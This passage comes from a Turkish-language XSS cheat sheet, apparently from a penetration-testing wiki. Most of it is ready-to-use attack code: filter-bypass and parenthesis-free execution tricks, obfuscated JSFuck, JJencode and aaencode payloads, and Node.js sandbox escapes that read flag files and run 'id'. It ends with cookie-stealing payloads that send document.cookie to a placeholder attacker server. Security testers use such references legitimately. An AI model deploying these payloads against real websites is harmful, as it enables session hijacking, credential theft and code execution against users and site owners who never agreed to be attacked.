"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
"\a\l\ert\(1\)"
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))

Özel kaçışlar

"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
// Any other char escaped is just itself

JS kodu içindeki boşluk ikameleri

<TAB>
/**/

JavaScript comments (şuradaki JavaScript Comments hilesinden)

//This is a 1 line comment
/* This is a multiline comment*/
<!--This is a 1line comment
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line

JavaScript new lines (kaynaklı JavaScript new line hile)

//Javascript interpret as new line these chars:
String.fromCharCode(10)
alert("//\nalert(1)") //0x0a
String.fromCharCode(13)
alert("//\ralert(1)") //0x0d
String.fromCharCode(8232)
alert("//\u2028alert(1)") //0xe2 0x80 0xa8
String.fromCharCode(8233)
alert("//\u2029alert(1)") //0xe2 0x80 0xa9

JavaScript boşluk karakterleri

log=[];
function funct(){}
for(let i=0;i<=0x10ffff;i++){
try{
eval(`funct${String.fromCodePoint(i)}()`);
log.push(i);
}
catch(e){}
}
console.log(log)
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279

//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert&#65279;(1)>

Javascript bir yorumun içinde

//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send

//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com

JavaScript parantezsiz

// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
// or any DOMXSS sink such as location=name

// Backtips
// Backtips pass the string as an array of lenght 1
alert`1`

// Backtips + Tagged Templates + call/apply
eval`alert\x281\x29` // This won't work as it will just return the passed array
setTimeout`alert\x281\x29`
eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x281\x29`]}`
[].sort.call`${alert}1337`
[].map.call`${eval}\\u{61}lert\x281337\x29`

// To pass several arguments you can use
function btt(){
console.log(arguments);
}
btt`${'arg1'}${'arg2'}${'arg3'}`

//It's possible to construct a function and call it
Function`x${'alert(1337)'}x`

// .replace can use regexes and call a function if something is found
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
"a".replace.call`1${/./}${alert}`
// This happened in the previous example
// Change "this" value of call to "1,"
// match anything with regex /./
// call alert with "1"
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead

// Using Reflect.apply to call any function with any argumnets
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
// Using Reflect.set to call set any value to a variable
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.



// valueOf, toString
// These operations are called when the object is used as a primitive
// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''
toString=alert;window+''


// Error handler
window.onerror=eval;throw"=alert\x281\x29";
onerror=eval;throw"=alert\x281\x29";
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
{onerror=eval}throw"=alert(1)" //No ";"
onerror=alert //No ";" using new line
throw 1337
// Error handler + Special unicode separators
eval("onerror=\u2028alert\u2029throw 1337");
// Error handler + Comma separator
// The comma separator goes through the list and returns only the last element
var a = (1,2,3,4,5,6) // a = 6
throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
throw onerror=alert,1,1,1,1,1,1337
// optional exception variables inside a catch clause.
try{throw onerror=alert}catch{throw 1}


// Has instance symbol
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.

Keyfi fonksiyon (alert) çağrısı

//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Function('ale'+'rt(10)')``;
[].constructor.constructor("alert(document.domain)")``
[]["constructor"]["constructor"]`$${alert()}```
import('data:text/javascript,alert(1)')

//General function executions
`` //Can be use as parenthesis
alert`document.cookie`
alert(document['cookie'])
with(document)alert(cookie)
(alert)(1)
(alert(1))in"."
a=alert,a(1)
[1].find(alert)
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
top[/al/.source+/ert/.source](1)
top[8680439..toString(30)](1)
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
globalThis[`al`+/ert/.source]`1`
this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
al\u0065rt`1`
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>

DOM vulnerabilities

There is JS code that is using unsafely data controlled by an attacker like location.href . An attacker, could abuse this to execute arbitrary JS code.
Due to the extension of the explanation of DOM vulnerabilities bu sayfaya taşındı:

DOM XSS

Orada DOM vulnerabilities’in ne olduğunu, nasıl tetiklendiğini ve nasıl exploit edilebileceğini detaylı bir şekilde bulacaksınız.
Ayrıca, bahsedilen yazının sonunda DOM Clobbering attacks hakkında bir açıklama bulunduğunu unutmayın.

Upgrading Self-XSS

If you can trigger a XSS by sending the payload inside a cookie, this is usually a self-XSS. However, if you find a vulnerable subdomain to XSS, you could abuse this XSS to inject a cookie in the whole domain managing to trigger the cookie XSS in the main domain or other subdomains (the ones vulnerable to cookie XSS). For this you can use the cookie tossing attack:

Cookie Tossing

Bu tekniğin güzel bir istismarını bu blog yazısında bulabilirsiniz.

Sending your session to the admin

Belki bir kullanıcı profilini admin ile paylaşabiliyordur ve eğer self XSS kullanıcının profilinde yer alıyorsa ve admin buna erişirse, zafiyeti tetikleyecektir.

Session Mirroring

If you find some self XSS and the web page have a session mirroring for administrators, for example allowing clients to ask for help an in order for the admin to help you he will be seeing what you are seeing in your session but from his session.

You could make the administrator trigger your self XSS and steal his cookies/session.

Diğer Bypass’lar

Sanitizasyonu WASM linear-memory template overwrite ile atlatma

When a web app uses Emscripten/WASM, constant strings (like HTML format stubs) live in writable linear memory. A single in‑WASM overflow (e.g., unchecked memcpy in an edit path) can corrupt adjacent structures and redirect writes to those constants. Overwriting a template such as “

%.*s

” to “” turns sanitized input into a JavaScript handler value and yields immediate DOM XSS on render.

Check the dedicated page with exploitation workflow, DevTools memory helpers, and defenses:

Wasm Linear Memory Template Overwrite Xss

Normalised Unicode

You could check is the reflected values are being unicode normalized in the server (or in the client side) and abuse this functionality to bypass protections. Find an example here.

PHP FILTER_VALIDATE_EMAIL flag Bypass

"><svg/onload=confirm(1)>"@x.y

Ruby-On-Rails bypass

RoR mass assignment nedeniyle HTML’e tırnak işaretleri eklenir ve böylece tırnak kısıtlaması atlatılır ve etiketin içine ek alanlar (onfocus) eklenebilir.
Form örneği (from this report), eğer payload gönderirseniz:

contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa

Çift “Key”,“Value” şu şekilde geri döndürülecektir:

{" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"}

Sonra onfocus özniteliği eklenecek ve XSS oluşur.

Özel kombinasyonlar

<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
<img src="/" =_=" title="onerror='prompt(1)'">
<img src='1' onerror='alert(0)' <
<script x> alert(1) </script 1=2
<script x>alert('XSS')<script y>
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<svg////////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert('1'&#41</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
<svg><animate onbegin=alert() attributeName=x></svg>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
(function(x){this[x+`ert`](1)})`al`
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)

302 response içinde header injection ile XSS

Eğer inject headers in a 302 Redirect response yapabildiğinizi fark ederseniz, make the browser execute arbitrary JavaScript sağlamayı deneyebilirsiniz. Bu not trivial çünkü modern tarayıcılar HTTP response status code 302 olduğunda HTTP response body’yi yorumlamaz, bu yüzden sadece bir cross-site scripting payload işe yaramaz.

In this report and this one you can read how you can test several protocols inside the Location header and see if any of them allows the browser to inspect and execute the XSS payload inside the body.
Past known protocols: mailto://, //x:1/, ws://, wss://, empty Location header, resource://.

Sadece Harfler, Rakamlar ve Noktalar

Eğer javascript’in çalıştıracağı callback’i sadece bu karakterlerle sınırlı olacak şekilde belirleyebiliyorsanız, Read this section of this post bu davranışın nasıl kötüye kullanılacağını öğrenmek için okuyun.

XSS için Geçerli <script> Content-Types

(Kaynak here) Eğer application/octet-stream gibi bir content-type ile bir script yüklemeyi denerseniz, Chrome aşağıdaki hatayı fırlatacaktır:

Refused to execute script from ‘https://uploader.c.hc.lc/uploads/xxx’ because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.

Chrome’un bir loaded script çalıştırmasını destekleyen tek Content-Type’lar, https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc içindeki const kSupportedJavascriptTypes içinde olanlardır.

const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
"application/javascript",
"application/x-ecmascript",
"application/x-javascript",
"text/ecmascript",
"text/javascript",
"text/javascript1.0",
"text/javascript1.1",
"text/javascript1.2",
"text/javascript1.3",
"text/javascript1.4",
"text/javascript1.5",
"text/jscript",
"text/livescript",
"text/x-ecmascript",
"text/x-javascript",
};

XSS için Script Türleri

(Kaynak here) Peki, bir scripti yüklemek için hangi türler belirtilebilir?

<script type="???"></script>

Cevap:

  • module (varsayılan, açıklamaya gerek yok)
  • webbundle: Web Bundles, birçok veriyi (HTML, CSS, JS…) birlikte bir .wbn dosyası halinde paketleyebileceğiniz bir özelliktir.
<script type="webbundle">
{
"source": "https://example.com/dir/subresources.wbn",
"resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
}
</script>
The resources are loaded from the source .wbn, not accessed via HTTP
  • importmap: import sözdizimini geliştirmeye olanak tanır
<script type="importmap">
{
"imports": {
"moment": "/node_modules/moment/src/moment.js",
"lodash": "/node_modules/lodash-es/lodash.js"
}
}
</script>

<!-- With importmap you can do the following -->
<script>
import moment from "moment"
import { partition } from "lodash"
</script>

Bu davranış this writeup içinde bir kütüphaneyi eval’e yeniden eşlemek ve bunu kötüye kullanarak XSS tetiklemek için kullanıldı.

  • speculationrules: Bu özellik esasen pre-rendering’in neden olduğu bazı sorunları çözmek içindir. İşleyişi şöyle:
<script type="speculationrules">
{
"prerender": [
{ "source": "list", "urls": ["/page/2"], "score": 0.5 },
{
"source": "document",
"if_href_matches": ["https://*.wikipedia.org/**"],
"if_not_selector_matches": [".restricted-section *"],
"score": 0.1
}
]
}
</script>

Web Content-Types to XSS

(Kaynak here) Aşağıdaki content-type’lar tüm tarayıcılarda XSS çalıştırabilir:

  • text/html
  • application/xhtml+xml
  • application/xml
  • text/xml
  • image/svg+xml
  • text/plain (?? listede yok ama sanırım bunu bir CTF’de gördüm)
  • application/rss+xml (off)
  • application/atom+xml (off)

Diğer tarayıcılarda farklı Content-Types rastgele JS çalıştırmak için kullanılabilir, bakınız: https://github.com/BlackFan/content-type-research/blob/master/XSS.md

xml Content Type

Sayfa text/xml content-type ile dönüyorsa, bir namespace belirterek rastgele JS çalıştırmak mümkün olabilir:

<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
</xml>

<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->

Özel Değiştirme Kalıpları

Şu gibi bir şey kullanıldığında: "some {{template}} data".replace("{{template}}", <user_input>). Saldırgan, bazı korumaları atlatmaya çalışmak için special string replacements kullanabilir: "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))

Örneğin this writeup, bu bir script içinde bir JSON string’ini escape etmek ve arbitrary code çalıştırmak için kullanıldı.

Chrome Cache to XSS

Chrome Cache to XSS

XS Jails Escape

Sadece sınırlı sayıda karakter kullanabiliyorsanız, XSJail sorunları için bu diğer geçerli çözümlere bakın:

// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))

// use of with
with(console)log(123)
with(/console.log(1)/index.html)with(this)with(constructor)constructor(source)()
// Just replace console.log(1) to the real code, the code we want to run is:
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))

with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))

//Final solution
with(
/with(String)
with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
with(mainModule)
with(require(k))
return(String(readFileSync(n)))
/)
with(this)
with(constructor)
constructor(source)()

// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE

Eğer güvenilmeyen kod çalıştırılmadan önce everything is undefined ise (örneğin this writeup), keyfi güvenilmeyen kodun yürütülmesini kötüye kullanmak için faydalı nesneler “hiçten” oluşturmak mümkündür:

  • import() kullanarak
// although import "fs" doesn’t work, import('fs') does.
import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
  • require’e dolaylı erişim

According to this modüller Node.js tarafından bir fonksiyon içinde kapsüllenmiştir, şöyle:

;(function (exports, require, module, __filename, __dirname) {
// our actual module code
})

Bu nedenle, eğer o modülden başka bir fonksiyon çağırabiliyorsak, o fonksiyondan arguments.callee.caller.arguments[1] kullanarak require’e erişmek mümkündür:

;(function () {
return arguments.callee.caller.arguments[1]("fs").readFileSync(
"/flag.txt",
"utf8"
)
})()

Önceki örneğe benzer şekilde, modülün wrapper’ına erişmek ve require fonksiyonunu almak için hata işleyicilerini kullanmak mümkündür:

try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = "".constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) =>
structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log("=".repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req("child_process").execSync("id").toString())
}
}
}
trigger()

Obfuscation & Advanced Bypass

//Katana
<script>
([,ウ,,,,ア]=[]+{}
,[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()
</script>
//JJencode
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
//JSFuck
<script>
(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()
</script>
//aaencode
゚ω゚ノ = /`m´)ノ ~┻━┻   / /*´∇`*/["_"]
o = ゚ー゚ = _ = 3
c = ゚Θ゚ = ゚ー゚ - ゚ー゚
゚Д゚ = ゚Θ゚ = (o ^ _ ^ o) / (o ^ _ ^ o)
゚Д゚ = {
゚Θ゚: "_",
゚ω゚ノ: ((゚ω゚ノ == 3) + "_")[゚Θ゚],
゚ー゚ノ: (゚ω゚ノ + "_")[o ^ _ ^ (o - ゚Θ゚)],
゚Д゚ノ: ((゚ー゚ == 3) + "_")[゚ー゚],
}
゚Д゚[゚Θ゚] = ((゚ω゚ノ == 3) + "_")[c ^ _ ^ o]
゚Д゚["c"] = (゚Д゚ + "_")[゚ー゚ + ゚ー゚ - ゚Θ゚]
゚Д゚["o"] = (゚Д゚ + "_")[゚Θ゚]
゚o゚ =
゚Д゚["c"] +
゚Д゚["o"] +
(゚ω゚ノ + "_")[゚Θ゚] +
((゚ω゚ノ == 3) + "_")[゚ー゚] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
((゚ー゚ == 3) + "_")[゚ー゚ - ゚Θ゚] +
゚Д゚["c"] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
゚Д゚["o"] +
((゚ー゚ == 3) + "_")[゚Θ゚]
゚Д゚["_"] = (o ^ _ ^ o)[゚o゚][゚o゚]
゚ε゚ =
((゚ー゚ == 3) + "_")[゚Θ゚] +
゚Д゚.゚Д゚ノ +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[o ^ _ ^ (o - ゚Θ゚)] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
(゚ω゚ノ + "_")[゚Θ゚]
゚ー゚ += ゚Θ゚
゚Д゚[゚ε゚] = "\\"
゚Д゚.゚Θ゚ノ = (゚Д゚ + ゚ー゚)[o ^ _ ^ (o - ゚Θ゚)]
o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o]
゚Д゚[゚o゚] = '"'
゚Д゚["_"](
゚Д゚["_"](
゚ε゚ +
゚Д゚[゚o゚] +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
(゚ー゚ + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚o゚]
)(゚Θ゚)
)("_")
// It's also possible to execute JS code only with the chars: []`+!${}

XSS yaygın payloads

Birden fazla payload tek bir yerde

Steal Info JS

Iframe Tuzağı

Kullanıcının iframe’den çıkmadan sayfada gezinmesini sağlayın ve eylemlerini (formlarda gönderilen bilgiler dahil) çalın:

Iframe Traps

Çerezleri Al

<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
